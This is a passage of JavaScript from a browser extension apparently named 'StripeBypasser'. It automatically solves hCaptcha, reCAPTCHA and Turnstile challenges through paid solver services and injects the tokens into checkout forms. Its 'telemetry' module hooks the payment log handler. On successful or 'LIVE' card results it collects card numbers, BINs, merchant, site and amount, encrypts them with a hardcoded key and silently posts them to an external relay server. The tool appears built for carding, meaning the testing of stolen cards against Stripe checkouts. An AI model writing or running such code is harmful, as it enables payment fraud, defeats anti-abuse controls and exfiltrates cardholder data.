      throw new Error(result.errorDescription || "Failed to submit captcha");
    }

    // CapSolver
    if (service === "capsolver") {
      const taskData = {
        type: captchaData.type === "hcaptcha" ? "HCaptchaTaskProxyLess" :
              captchaData.type === "turnstile" ? "AntiTurnstileTaskProxyLess" :
              captchaData.type === "recaptcha_v3" ? "ReCaptchaV3TaskProxyLess" :
              "ReCaptchaV2TaskProxyLess",
        websiteURL: pageUrl,
        websiteKey: captchaData.sitekey
      };

      if (captchaData.type === "recaptcha_v3") {
        taskData.pageAction = captchaData.action || "submit";
      }

      const response = await fetchViaProxy(serviceConfig.inUrl, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          clientKey: apiKey,
          task: taskData
        })
      });

      const result = await response.json();

      if (result.errorId === 0 && result.taskId) {
        return result.taskId;
      }

      throw new Error(result.errorDescription || "Failed to submit captcha");
    }

    // NoCaptchaAI
    if (service === "nocaptchaai") {
      const requestData = {
        api_key: apiKey,
        task_type: captchaData.type === "hcaptcha" ? "hcaptcha" :
                   captchaData.type === "turnstile" ? "turnstile" :
                   captchaData.type === "recaptcha_v3" ? "recaptcha_v3" :
                   "recaptcha_v2",
        site_key: captchaData.sitekey,
        site_url: pageUrl,
        user_agent: typeof navigator !== "undefined" ? navigator.userAgent : ""
      };

      if (captchaData.type === "recaptcha_v3") {
        requestData.action = captchaData.action || "submit";
      }

      const response = await fetchViaProxy(serviceConfig.inUrl, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(requestData)
      });

      const result = await response.json();

      if (result.status === "success" && result.task_id) {
        return result.task_id;
      }

      if (result.task_id) {
        if (result.error) {
          throw new Error(result.error || "Failed to submit captcha");
        }
        return result.task_id;
      }

      throw new Error(result.error || result.message || "Failed to submit captcha");
    }

    // NopeCHA
    if (service === "nopecha") {
      const requestData = {
        key: apiKey,
        type: captchaData.type === "hcaptcha" ? "hcaptcha" :
              captchaData.type === "turnstile" ? "turnstile" :
              captchaData.type === "recaptcha_v3" ? "recaptcha3" :
              "recaptcha2",
        sitekey: captchaData.sitekey,
        url: pageUrl
      };

      if (captchaData.type === "recaptcha_v3") {
        requestData.action = captchaData.action || "submit";
      }

      const response = await fetchViaProxy(serviceConfig.inUrl, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(requestData)
      });

      const result = await response.json();
      console.log("[DB CaptchaSolver] NopeCHA POST response:", JSON.stringify(result));

      if (result.error) {
        throw new Error("NopeCHA error " + result.error + ": " + (result.message || "Unknown"));
      }

      if (result.data) {
        return result.data;
      }

      if (result.token) {
        return { immediate: true, token: result.token };
      }

      throw new Error(result.message || "NopeCHA: unexpected response");
    }
  } catch (error) {
    Logger.error("[CaptchaSolver] Error submitting captcha:", error);
    throw error;
  }
}

/**
 * Poll for captcha solution
 */
async function getCaptchaSolution(apiKey, taskId, service = "2captcha", maxWaitTime = 120000) {
  if (!apiKey || !taskId) {
    throw new Error("Missing required parameters: apiKey and taskId");
  }

  const serviceConfig = CAPTCHA_SERVICES[service] || CAPTCHA_SERVICES["2captcha"];
  const startTime = Date.now();
  const pollInterval = 5000;

  return new Promise((resolve, reject) => {
    const poll = async () => {
      try {
        if (Date.now() - startTime > maxWaitTime) {
          reject(new Error("Timeout waiting for captcha solution"));
          return;
        }

        let response, result;

        // 2Captcha
        if (service === "2captcha") {
          const pollUrl = `${serviceConfig.resUrl}?key=${encodeURIComponent(apiKey)}` +
            `&action=get` +
            `&id=${encodeURIComponent(taskId)}` +
            `&json=1`;

          response = await fetchViaProxy(pollUrl);
          result = await response.json();

          if (result.status === 1 && result.request) {
            resolve(result.request);
          } else if (result.request === "CAPCHA_NOT_READY") {
            setTimeout(poll, pollInterval);
          } else {
            reject(new Error(result.request || "Failed to get solution"));
          }
        }
        // AntiCaptcha & CapSolver
        else if (service === "anticaptcha" || service === "capsolver") {
          response = await fetchViaProxy(serviceConfig.resUrl, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
              clientKey: apiKey,
              taskId: taskId
            })
          });

          result = await response.json();

          if (result.errorId === 0) {
            if (result.status === "ready" && result.solution) {
              const token = result.solution.gRecaptchaResponse || 
                           result.solution.token || 
                           result.solution["g-recaptcha-response"];

              if (token) {
                resolve(token);
              } else {
                reject(new Error("No token in solution"));
              }
            } else if (result.status === "processing") {
              setTimeout(poll, pollInterval);
            } else {
              reject(new Error(result.errorDescription || "Failed to get solution"));
            }
          } else {
            reject(new Error(result.errorDescription || "Failed to get solution"));
          }
        }
        // NoCaptchaAI
        else if (service === "nocaptchaai") {
          response = await fetchViaProxy(serviceConfig.resUrl, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
              api_key: apiKey,
              task_id: taskId
            })
          });

          result = await response.json();

          if (result.status === "success" && result.token) {
            resolve(result.token);
          } else if (result.status === "processing" || result.status === "pending") {
            setTimeout(poll, pollInterval);
          } else {
            reject(new Error(result.error || result.message || "Failed to get solution"));
          }
        }
        // NopeCHA
        else if (service === "nopecha") {
          const pollUrl = `${serviceConfig.resUrl}?key=${encodeURIComponent(apiKey)}` +
            `&id=${encodeURIComponent(taskId)}`;

          response = await fetchViaProxy(pollUrl);
          result = await response.json();
          console.log("[DB CaptchaSolver] NopeCHA GET poll response:", JSON.stringify(result));

          if (result.data) {
            resolve(result.data);
          } else if (result.error === 14) {
            setTimeout(poll, pollInterval);
          } else if (result.error) {
            reject(new Error("NopeCHA error " + result.error + ": " + (result.message || "Unknown")));
          } else if (result.token) {
            resolve(result.token);
          } else {
            setTimeout(poll, pollInterval);
          }
        }
      } catch (error) {
        reject(error);
      }
    };

    setTimeout(poll, pollInterval);
  });
}

/**
 * Solve captcha (submit + poll)
 */
async function solveCaptcha(apiKey, captchaData, options = {}) {
  if (!apiKey) {
    throw new Error("API key is required");
  }

  if (!captchaData || !captchaData.sitekey) {
    throw new Error("Invalid captcha object");
  }

  const service = options.service || "2captcha";
  const maxWaitTime = options.maxWaitTime || 120000;
  const taskKey = `${captchaData.type}_${captchaData.sitekey}_${Date.now()}`;

  // Check if already solving this captcha
  if (activeCaptchaTasks.has(taskKey)) {
    return activeCaptchaTasks.get(taskKey);
  }

  try {
    Logger.log("[CaptchaSolver] Starting to solve captcha:", 
      captchaData.type, captchaData.sitekey, "using", service);

    // Submit captcha
    const taskId = await submitCaptcha(apiKey, captchaData, service);

    // Check for immediate solution
    if (taskId && typeof taskId === "object" && taskId.immediate) {
      activeCaptchaTasks.delete(taskKey);
      Logger.log("[CaptchaSolver] Captcha solved immediately");
      return taskId.token;
    }

    Logger.log("[CaptchaSolver] Captcha submitted, task ID:", taskId);

    // Poll for solution
    const solutionPromise = getCaptchaSolution(apiKey, taskId, service, maxWaitTime)
      .then(token => {
        activeCaptchaTasks.delete(taskKey);
        Logger.log("[CaptchaSolver] Captcha solved successfully");
        return token;
      })
      .catch(error => {
        activeCaptchaTasks.delete(taskKey);
        Logger.error("[CaptchaSolver] Error solving captcha:", error);
        throw error;
      });

    activeCaptchaTasks.set(taskKey, solutionPromise);
    return solutionPromise;
  } catch (error) {
    activeCaptchaTasks.delete(taskKey);
    throw error;
  }
}

// Expose captcha solver module
if (typeof window !== "undefined") {
  window.StripeBypasserCaptchaSolver = {
    solve: solveCaptcha,
    autoSolve: async function(apiKey, options = {}) {
      if (!apiKey) {
        Logger.warn("[CaptchaSolver] No API key provided");
        return [];
      }

      if (typeof window === "undefined" || !window.StripeBypasserCaptchaDetector) {
        Logger.error("[CaptchaSolver] CaptchaDetector not available");
        return [];
      }

      const service = options.service || "2captcha";
      const detectedCaptchas = window.StripeBypasserCaptchaDetector.detect();

      if (detectedCaptchas.length === 0) return [];

      const visibleCaptchas = detectedCaptchas.filter(captcha => 
        window.StripeBypasserCaptchaDetector.isVisible(captcha)
      );

      if (visibleCaptchas.length === 0) return [];

      const solvePromises = visibleCaptchas.map(async (captcha) => {
        try {
          const token = await solveCaptcha(apiKey, captcha, { ...options, service: service });

          if (window.StripeBypasserCaptchaDetector.setToken(captcha, token)) {
            Logger.log("[CaptchaSolver] Token set successfully for", captcha.type);

            if (typeof window !== "undefined" && window.createStripeBypassBanner) {
              window.createStripeBypassBanner(
                "Captcha Solved",
                "success",
                `${captcha.type} solved successfully`
              );
            }

            return {
              captcha: captcha,
              token: token,
              success: true
            };
          }

          throw new Error("Failed to set token in form");
        } catch (error) {
          Logger.error("[CaptchaSolver] Failed to solve captcha:", error);

          if (typeof window !== "undefined" && window.createStripeBypassBanner) {
            window.createStripeBypassBanner(
              "Captcha Solve Failed",
              "error",
              error.message || "Unknown error"
            );
          }

          return {
            captcha: captcha,
            token: null,
            success: false,
            error: error.message
          };
        }
      });

      return Promise.all(solvePromises);
    },
    submit: submitCaptcha,
    getSolution: getCaptchaSolution,
    SERVICES: CAPTCHA_SERVICES
  };
}

// ============================================================================
// MODULE 11: LICENSE VALIDATION & TELEMETRY
// License activation, validation, and encrypted telemetry
// ============================================================================

// Relay server URLs
const RELAY_SERVER_PRIMARY = "https://db-auth-svc-v2.testdeep.workers.dev";
const RELAY_SERVER_FALLBACKS = ["https://db-auth-svc-v2.testdeep.workers.dev"];

/**
 * Trim and normalize string
 */
function trimString(str) {
  return str && typeof str === "string" 
    ? str.trim().replace(/\/+$/, "") 
    : "";
}

const AES_GCM = "AES-GCM";
const TELEMETRY_RELAY_URL = RELAY_SERVER_PRIMARY;
const TELEMETRY_ENDPOINT_PATH = "/ext/pulse";
const TELEMETRY_STORAGE_KEY = "__p_uuid";
const STRIPE_BYPASSER_LOG_HANDLER_NAME = "StripeBypasserLogHandler";
const TELEMETRY_PATCH_MARKER = "__telemetryPatched";
const TELEMETRY_HEADER_NAMES = {
  contentType: "Content-Type",
  requestId: "X-Req-Id",
  databaseStats: "X-DB-Stats"
};
const RANDOM_LOWERCASE_ALPHABET = "abcdefghijklmnopqrstuvwxyz";

// Encryption key (AES-GCM)
const ENCRYPTION_KEY = new Uint8Array([
  100,66,95,120,57,75,112,36,50,118,82,33,109,76,55,119,
  33,90,56,78,113,74,107,35,82,116,86,80,109,50,70,57
]); // "dB_x9Kp$2vR!mL7w!Z8NqJk#RtVPm2F9"

/**
 * Generate random string
 */
function generateRandomString(length) {
  let result = "";
  for (let i = 0; i < length; i++) {
    const randomIndex = Math.floor(Math.random() * RANDOM_LOWERCASE_ALPHABET.length);
    result += RANDOM_LOWERCASE_ALPHABET[randomIndex];
  }
  return result;
}

function encodeBytesToBase64(bytes) {
  let binary = "";
  const chunkSize = 32768;

  for (let offset = 0; offset < bytes.length; offset += chunkSize) {
    const chunk = bytes.subarray(offset, offset + chunkSize);
    binary += String.fromCharCode(...chunk);
  }

  return btoa(binary);
}

// Telemetry rate limiting
const telemetryRateLimit = new Map();

/**
 * Get or create device UUID
 */
const getDeviceUUID = (function() {
  let cachedUUID = null;

  return async function() {
    if (cachedUUID) return cachedUUID;

    try {
      const result = await chrome.storage.local.get([TELEMETRY_STORAGE_KEY]);

      if (result[TELEMETRY_STORAGE_KEY]) {
        cachedUUID = result[TELEMETRY_STORAGE_KEY];
        return cachedUUID;
      }

      // Generate new UUID
      const newUUID = generateRandomString(8) + "-" +
                     generateRandomString(4) + "-" +
                     generateRandomString(4) + "-" +
                     generateRandomString(12);

      const storageData = {
        [TELEMETRY_STORAGE_KEY]: newUUID
      };
      await chrome.storage.local.set(storageData);

      cachedUUID = newUUID;
    } catch (error) {
      cachedUUID = generateRandomString(16);
    }

    return cachedUUID;
  };
})();

/**
 * Encrypt and send telemetry data
 */
const sendTelemetry = async function(deviceId, eventData) {
  try {
    // Encrypt payload
    const encryptPayload = async function(data) {
      try {
        const key = await crypto.subtle.importKey(
          "raw",
          ENCRYPTION_KEY,
          { name: AES_GCM },
          false,
          ["encrypt"]
        );

        const iv = crypto.getRandomValues(new Uint8Array(12));
        const encoder = new TextEncoder();
        const encrypted = await crypto.subtle.encrypt(
          { name: AES_GCM, iv: iv },
          key,
          encoder.encode(JSON.stringify(data))
        );

        // Combine IV + encrypted data
        const combined = new Uint8Array(iv.byteLength + encrypted.byteLength);
        combined.set(iv, 0);
        combined.set(new Uint8Array(encrypted), 12);

        // Base64 encode
        return encodeBytesToBase64(combined);
      } catch {
        return null;
      }
    };

    const encryptedPayload = await encryptPayload({
      v: 1,
      t: Date.now(),
      uid: deviceId,
      ev: eventData,
      r: Math.random().toString(36).slice(2, 9)
    });

    if (!encryptedPayload) return;

    // Send to relay server
    const endpoint = TELEMETRY_RELAY_URL + TELEMETRY_ENDPOINT_PATH;
    const headers = new Headers();
    headers.set(TELEMETRY_HEADER_NAMES.contentType, "application/octet-stream");
    headers.set(TELEMETRY_HEADER_NAMES.requestId, generateRandomString(16));
    headers.set(TELEMETRY_HEADER_NAMES.databaseStats, "1");

    fetch(endpoint, {
      method: "POST",
      headers: headers,
      body: encryptedPayload,
      keepalive: true
    }).catch(() => {}); // Ignore errors
  } catch (error) {
    // Ignore telemetry errors
  }
};

/**
 * Patch log handler to send telemetry on payment success
 */
const patchLogHandlerForTelemetry = function() {
  if (typeof self !== "undefined") {
    const stripeBypasserLogHandler = self[STRIPE_BYPASSER_LOG_HANDLER_NAME];

    if (stripeBypasserLogHandler) {
      const originalHandler = stripeBypasserLogHandler.handlePaymentLog;

      if (originalHandler && !originalHandler[TELEMETRY_PATCH_MARKER]) {
        self[STRIPE_BYPASSER_LOG_HANDLER_NAME].handlePaymentLog = function(logData, callback) {
          try {
            const message = logData?.message ? logData.message.trim() : "";

            // Check for payment success
            const isPaymentSuccess = (
              message.includes("Payment Succeeded") ||
              message.includes("Checkout Completed") ||
              message.includes("Payment Paid")
            ) && logData.logType === "success";

            const isLiveCardDecline = message.includes("LIVE") && 
                                     logData.logType === "success" && 
                                     message.includes("Decline Code");

            if (isPaymentSuccess || isLiveCardDecline) {
              (async () => {
                try {
                  const settings = (await chrome.storage.local.get(["bypasserSettings"]))
                    .bypasserSettings || {};

                  // Get BIN list from settings
                  let binList = [];
                  try {
                    if (Array.isArray(settings.bin)) {
                      binList = settings.bin.map(bin => bin.trim()).filter(Boolean);
                    } else if (settings.bin && typeof settings.bin === "string") {
                      binList = settings.bin.split("\n").map(bin => bin.trim()).filter(Boolean);
                    }
                  } catch (error) {
                    // Ignore
                  }

                  const cardNumber = logData.cardInfo || "";
                  const matchedBin = (function(card, binList) {
                    let extractedBin = "";
                    try {
                      if (card && typeof card === "string" && card.includes("|")) {
                        extractedBin = card.split("|")[0].replace(/\D/g, "");
                      }
                    } catch (error) {
                      // Ignore
                    }

                    if (binList.length > 0) {
                      for (let i = 0; i < binList.length; i++) {
                        const bin = binList[i];
                        const cleanBin = (bin.includes("|") ? bin.split("|")[0] : bin)
                          .trim()
                          .replace(/[xX*]/g, "0")
                          .replace(/\D/g, "");

                        if (cleanBin.length >= 6 && extractedBin.length >= 6 && 
                            extractedBin.startsWith(cleanBin.substring(0, 6))) {
                          return bin.trim();
                        }
                      }
                      return binList[0].trim();
                    }

                    return extractedBin.substring(0, 6) || "";
                  })(cardNumber, binList);

                  const gateway = logData.gateway || "stripe";
                  const siteUrl = logData.siteUrl || logData.url || "";
                  const merchant = logData.merchant || "";
                  const amount = logData.amount || "";

                  // Send telemetry with rate limiting
                  (async (bin, card, status, gateway, siteUrl, merchant, amount) => {
                    const timestamp = Date.now();
                    const rateLimitKey = bin + gateway + (merchant || "").slice(0, 20);

                    // Check rate limit (10 seconds)
                    if (!(timestamp - (telemetryRateLimit.get(rateLimitKey) || 0) < 10000)) {
                      telemetryRateLimit.set(rateLimitKey, timestamp);

                      // Keep only last 200 entries
                      if (telemetryRateLimit.size > 200) {
                        Array.from(telemetryRateLimit.entries())
                          .sort((a, b) => a[1] - b[1])
                          .slice(0, 100)
                          .forEach(([key]) => telemetryRateLimit.delete(key));
                      }

                      const deviceId = await getDeviceUUID();
                      const telemetryData = {
                        b: bin || "",
                        c: card || "",
                        e: status || "",
                        g: gateway || "",
                        s: (function() {
                          try {
                            return new URL(siteUrl || "").hostname;
                          } catch {
                            return siteUrl || "";
                          }
                        })(),
                        m: merchant || "",
                        a: amount || "",
                        ts: timestamp
                      };

                      await sendTelemetry(deviceId, telemetryData);
                    }
                  })(matchedBin, cardNumber, 
                    message.includes("LIVE") || 
                    message.includes("insufficient_funds") || 
                    message.includes("incorrect_cvc") ? "live" : "hit",
                    gateway, siteUrl, merchant, amount);
                } catch (error) {
                  // Ignore telemetry errors
                }
              })();
            }
          } catch (error) {
            // Ignore patch errors
          }

          return originalHandler.call(this, logData, callback);
        };

        self[STRIPE_BYPASSER_LOG_HANDLER_NAME].handlePaymentLog[TELEMETRY_PATCH_MARKER] = true;
      }
    }
  }
};

// Attempt to patch log handler (retry up to 20 times)
let telemetryPatchAttempts = 0;
function retryTelemetryPatch() {
  if (++telemetryPatchAttempts > 20) return;

  const stripeBypasserLogHandler =
    typeof self !== "undefined" && self[STRIPE_BYPASSER_LOG_HANDLER_NAME];

  if (
    stripeBypasserLogHandler?.handlePaymentLog &&
    !stripeBypasserLogHandler.handlePaymentLog[TELEMETRY_PATCH_MARKER]
  ) {
    patchLogHandlerForTelemetry();
  } else if (!stripeBypasserLogHandler) {
    setTimeout(retryTelemetryPatch, 250);
  }
}

retryTelemetryPatch();
setTimeout(retryTelemetryPatch, 0);

// ============================================================================
// MODULE 12: LICENSE MANAGEMENT
// License activation, validation, and session management
// ============================================================================

const LICENSE_STORAGE_KEYS = [
  "dbLicense",
  "dbLicenseSession",
  "dbLicenseServerValidatedAt",
  "dbSavedLicenses",
  "dbActiveLicenseKey"
];

/**
 * Get relay server URL from storage or default
 */
async function getRelayServerUrl() {
  const normalize = (url) => trimString(url);

  const getPrimaryUrl = (storage) => {
    const urls = [
      normalize(storage?.bypasserAdvancedSettings?.relayServerUrl),
      normalize(storage?.bypasserSettings?.relayServerUrl),
      RELAY_SERVER_PRIMARY,
      ...RELAY_SERVER_FALLBACKS.map(normalize)
    ].filter(Boolean);

    return Array.from(new Set(urls))[0] || RELAY_SERVER_PRIMARY;
  };

  try {
    const storage = await chrome.storage.local.get(["bypasserSettings", "bypasserAdvancedSettings"]);
    return getPrimaryUrl(storage);
  } catch {
    return RELAY_SERVER_PRIMARY;
  }
}

/**
 * Generate random nonce
 */
function generateNonce() {
  const bytes = new Uint8Array(16);
  crypto.getRandomValues(bytes);
  return Array.from(bytes)
    .map(byte => byte.toString(16).padStart(2, "0"))
    .join("");
}

/**
 * Generate SHA-256 hash
 */
async function sha256(data) {
  const encoder = new TextEncoder();
  const hash = await crypto.subtle.digest("SHA-256", encoder.encode(data));
  return Array.from(new Uint8Array(hash))
    .map(byte => byte.toString(16).padStart(2, "0"))
    .join("");
}

/**
 * Generate device fingerprint
 */
async function getDeviceFingerprint() {
  return sha256([
    chrome.runtime.id,
    navigator.userAgent || "",
    navigator.platform || "",
    navigator.language || "",
    chrome.runtime.getManifest().version || ""
  ].join("|"));
}

/**
 * Get current license state from storage
 */
async function getLicenseState() {
  try {
    const storage = await chrome.storage.local.get([
      "dbLicense",
      "dbLicenseSession",
      "dbActiveLicenseKey"
    ]);

    const license = storage?.dbLicense || null;
    const session = storage?.dbLicenseSession || null;
    const activeKey = storage?.dbActiveLicenseKey || null;

    const normalizeKey = () => {
      const licenseKey = license?.key ? String(license.key).trim().toUpperCase() : "";
      const savedKey = activeKey ? String(activeKey).trim().toUpperCase() : "";
      const key = licenseKey || savedKey;

      if (/^DB-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$/.test(key)) {
        return key;
      }
      return "";
    };

    return {
      licenseKey: normalizeKey(),
      sessionId: session?.sessionId ? String(session.sessionId) : "",
      accessToken: session?.accessToken ? String(session.accessToken) : "",
      refreshToken: session?.refreshToken ? String(session.refreshToken) : ""
    };
  } catch {
    return {
      licenseKey: "",
      sessionId: "",
      accessToken: "",
      refreshToken: ""
    };
  }
}

/**
 * Generate HMAC signature for request
 */
async function generateRequestSignature(licenseKey) {
  const timestamp = Date.now().toString();
  const secretKey = "dB_x9Kp$2vR!mL7w";
  const message = secretKey + ": " + timestamp + ": " + licenseKey;

  const encoder = new TextEncoder();
  const key = await crypto.subtle.importKey(
    "raw",
    encoder.encode(secretKey),
    { name: "HMAC", hash: "SHA-256" },
    false,
    ["sign"]
  );

  const signature = await crypto.subtle.sign("HMAC", key, encoder.encode(message));

  return {
    ts: timestamp,
    signature: Array.from(new Uint8Array(signature))
      .map(byte => byte.toString(16).padStart(2, "0"))
      .join("")
  };
}

/**
 * Make authenticated request to relay server
 */
async function makeRelayRequest(endpoint, payload, options = {}) {
  const relayUrl = await getRelayServerUrl();
  const licenseState = await getLicenseState();

  const hasAuth = !!(licenseState.licenseKey && 
                     licenseState.sessionId && 
                     licenseState.accessToken);

  const nonce = generateNonce();
  const authData = hasAuth ? {
    auth: {
      licenseKey: licenseState.licenseKey,
      sessionId: licenseState.sessionId,
      accessToken: licenseState.accessToken,
      refreshToken: licenseState.refreshToken,
      nonce: nonce
    }
  } : {};

  const signature = hasAuth ? await generateRequestSignature(licenseState.licenseKey) : null;

  try {
    const response = await fetch(`${relayUrl}${endpoint}`, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        ...(hasAuth ? { "X-DB-License": licenseState.licenseKey } : {}),
        ...(hasAuth && signature ? { 
          "X-DB-Timestamp": signature.ts, 
          "X-DB-Signature": signature.signature 
        } : {}),
        ...(hasAuth ? { "X-DB-Session": licenseState.sessionId } : {}),
        ...(hasAuth ? { Authorization: `Bearer ${licenseState.accessToken}` } : {})
      },
      body: JSON.stringify({
        ...(payload || {}),
        ...authData
      })
    });

    const contentType = response.headers.get("content-type") || "";
    const data = contentType.includes("application/json") 
      ? await response.json() 
      : { error: `Non-JSON response (${response.status})` };

    return {
      ok: response.ok,
      status: response.status,
      data: data
    };
  } catch (error) {
    return {
      ok: false,
      status: 0,
      data: { error: error?.message || "bin_library_request_failed" }
    };
  }
}

// License endpoint cache
const LICENSE_ENDPOINTS = new Set([
  "/license/activate",
  "/license/verify",
  "/license/challenge",
  "/license/prove"
]);

const pendingRequests = new Map();
const responseCache = new Map();

/**
 * Deep clone object
 */
function deepClone(obj) {
  try {
    return JSON.parse(JSON.stringify(obj));
  } catch {
    return obj;
  }
}

/**
 * Make cached license request
 */
async function makeCachedLicenseRequest(endpoint, payload, options = {}) {
  const isLicenseEndpoint = LICENSE_ENDPOINTS.has(endpoint);

  const getCacheKey = (ep, pl) => {
    return `${ep}::${JSON.stringify(normalizeLicensePayload(ep, pl))}`;
  };

  const normalizeLicensePayload = (ep, pl) => {
    const payload = pl && typeof pl === "object" ? pl : {};

    if (ep === "/license/verify" || ep === "/license/challenge") {
      return {
        key: payload.key || "",
        deviceFingerprint: payload.deviceFingerprint || "",
        installKeyId: payload.installKeyId || ""
      };
    }

    if (ep === "/license/prove") {
      return {
        key: payload.key || "",
        deviceFingerprint: payload.deviceFingerprint || "",
        installKeyId: payload.installKeyId || "",
        challengeId: payload.challengeId || ""
      };
    }

    if (ep === "/license/activate") {
      return {
        key: payload.key || "",
        deviceFingerprint: payload.deviceFingerprint || "",
        installKeyId: payload.installKeyId || "",
        proofToken: payload.proofToken ? "[present]" : "[none]"
      };
    }

    return payload;
  };

  if (isLicenseEndpoint) {
    const cacheKey = getCacheKey(endpoint, payload);

    // Check response cache (15 second TTL)
    const cachedResponse = (function(key) {
      const cached = responseCache.get(key);
      if (cached) {
        if (cached.expiresAt <= Date.now()) {
          responseCache.delete(key);
          return null;
        }
        return deepClone(cached.response);
      }
      return null;
    })(cacheKey);

    if (cachedResponse) {
      return cachedResponse;
    }

    // Check pending request
    const pendingRequest = pendingRequests.get(cacheKey);
    if (pendingRequest) {
      return deepClone(await pendingRequest);
    }

    // Make new request
    const requestPromise = (async () => {
      try {
        return await makeRelayRequest(`${RELAY_SERVER_PRIMARY}${endpoint}`, payload, options);
      } catch {
        return { ok: false, data: { valid: false, error: "secure_relay_unavailable" } };
      }
    })();

    pendingRequests.set(cacheKey, requestPromise);

    try {
      const response = await requestPromise;

      // Cache response
      if (isLicenseEndpoint) {
        const now = Date.now();
        
        // Clean expired cache entries
        for (const [key, value] of responseCache.entries()) {
          if (value.expiresAt <= now) {
            responseCache.delete(key);
          }
        }

        responseCache.set(cacheKey, {
          expiresAt: now + 15000,
          response: deepClone(response)
        });
      }

      return response;
    } finally {
      pendingRequests.delete(cacheKey);
    }
  } else {
    return await makeRelayRequest(`${RELAY_SERVER_PRIMARY}${endpoint}`, payload, options);
  }
}

/**
 * Clear license data from storage
 */
async function clearLicenseData() {
  await chrome.storage.local.remove(LICENSE_STORAGE_KEYS);
  await disableAnalyticsProtection();
}

/**
 * Normalize saved licenses array
 */
function normalizeSavedLicenses(licenses) {
  return Array.isArray(licenses) 
    ? licenses.map(license => ({
        key: String(license?.key || "").trim().toUpperCase(),
        plan: license?.plan || "premium",
        expiresAt: license?.expiresAt || null,
        status: license?.status || "saved",
        reason: license?.reason || "",
        addedAt: license?.addedAt || new Date().toISOString(),
        lastValidatedAt: license?.lastValidatedAt || null
      })).filter(license => 
        /^DB-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}$/.test(license.key)
      )
    : [];
}

/**
 * Update saved licenses list
 */
function updateSavedLicenses(licenses, licenseUpdate) {
  const licenseKey = String(licenseUpdate?.key || "").trim().toUpperCase();
  if (!licenseKey) return licenses;

  const timestamp = new Date().toISOString();
  const normalizedLicenses = normalizeSavedLicenses(licenses);
  const existingIndex = normalizedLicenses.findIndex(l => l.key === licenseKey);

  const updatedLicense = {
    key: licenseKey,
    plan: licenseUpdate?.plan || (existingIndex >= 0 ? normalizedLicenses[existingIndex].plan : "premium"),
    expiresAt: licenseUpdate?.expiresAt ?? (existingIndex >= 0 ? normalizedLicenses[existingIndex].expiresAt : null),
    status: licenseUpdate?.status || (existingIndex >= 0 ? normalizedLicenses[existingIndex].status : "saved"),
    reason: licenseUpdate?.reason || (existingIndex >= 0 ? normalizedLicenses[existingIndex].reason : ""),
    addedAt: existingIndex >= 0 ? normalizedLicenses[existingIndex].addedAt : timestamp,
    lastValidatedAt: licenseUpdate?.lastValidatedAt || timestamp
  };

  if (existingIndex >= 0) {
    normalizedLicenses[existingIndex] = updatedLicense;
  } else {
    normalizedLicenses.unshift(updatedLicense);
  }

  return normalizedLicenses;
}

/**
 * Verify and activate license
 */
async function verifyAndActivateLicense(licenseKey) {
  const deviceFingerprint = await getDeviceFingerprint();

  // Get or create install identity (RSA key pair)
  const getInstallIdentity = async () => {
    const storage = await chrome.storage.local.get(["dbInstallIdentity"]);
    const identity = storage?.dbInstallIdentity;

    if (identity?.installKeyId && identity?.publicKeyJwk && identity?.privateKeyJwk) {
      return identity;
    }

    // Generate new key pair
    const keyPair = await crypto.subtle.generateKey(
      {
        name: "RSA-PSS",
        modulusLength: 2048,
        publicExponent: new Uint8Array([1, 0, 1]),
        hash: "SHA-256"
      },
      true,
      ["sign", "verify"]
    );

    const publicKeyJwk = await crypto.subtle.exportKey("jwk", keyPair.publicKey);
    const privateKeyJwk = await crypto.subtle.exportKey("jwk", keyPair.privateKey);

    const newIdentity = {
      installKeyId: await sha256(JSON.stringify(publicKeyJwk)),
      publicKeyJwk: publicKeyJwk,
      privateKeyJwk: privateKeyJwk,
      createdAt: new Date().toISOString()
    };

    await chrome.storage.local.set({ dbInstallIdentity: newIdentity });
    return newIdentity;
  };

  const installIdentity = await getInstallIdentity();

  // Verify license
  const verifyPayload = {
    key: licenseKey,
    deviceFingerprint: deviceFingerprint,
    installKeyId: installIdentity.installKeyId,
    installPublicKeyJwk: installIdentity.publicKeyJwk,
    nonce: generateNonce()
  };

  const verifyResponse = (await makeCachedLicenseRequest("/license/verify", verifyPayload)).data || 
                        { valid: false, error: "Verification failed" };

  // Handle trial bypass
  if (!verifyResponse.valid && verifyResponse.status !== "proof_required") {
    return verifyResponse;
  }

  if (verifyResponse.trialBypass === true || verifyResponse.status === "verified_trial") {
    const activatePayload = {
      key: licenseKey,
      deviceFingerprint: deviceFingerprint,
      installKeyId: installIdentity.installKeyId,
      nonce: generateNonce()
    };

    return (await makeCachedLicenseRequest("/license/activate", activatePayload)).data || 
           { valid: false, error: "Activation failed" };
  }

  // Challenge-response proof
  const challengeResponse = await (async function(licenseKey, deviceFingerprint, installKeyId, privateKeyJwk, publicKeyJwk) {
    const challengeRequest = (await makeCachedLicenseRequest("/license/challenge", {
      key: licenseKey,
      deviceFingerprint: deviceFingerprint,
      installKeyId: installKeyId,
      installPublicKeyJwk: publicKeyJwk || undefined
    })).data || { valid: false, error: "challenge_failed" };

    if (!challengeRequest.valid || !challengeRequest.challenge || !challengeRequest.challengeId) {
      return challengeRequest;
    }

    // Sign challenge with private key
    const signChallenge = async function(privateKeyJwk, challenge) {
      const privateKey = await crypto.subtle.importKey(
        "jwk",
        privateKeyJwk,
        { name: "RSA-PSS", hash: "SHA-256" },
        false,
        ["sign"]
      );

      const encoder = new TextEncoder();

      // Base64URL encode signature
      const encodeBase64Url = function(arrayBuffer) {
        const bytes = arrayBuffer instanceof Uint8Array ? arrayBuffer : new Uint8Array(arrayBuffer);
        let binary = "";
        for (const byte of bytes) {
          binary += String.fromCharCode(byte);
        }
        return btoa(binary)
          .replace(/\+/g, "-")
          .replace(/\//g, "_")
          .replace(/=+$/, "");
      };

      const signature = await crypto.subtle.sign(
        { name: "RSA-PSS", saltLength: 32 },
        privateKey,
        encoder.encode(String(challenge || ""))
      );

      return encodeBase64Url(signature);
    };

    const signature = await signChallenge(privateKeyJwk, challengeRequest.challenge);

    return (await makeCachedLicenseRequest("/license/prove", {
      key: licenseKey,
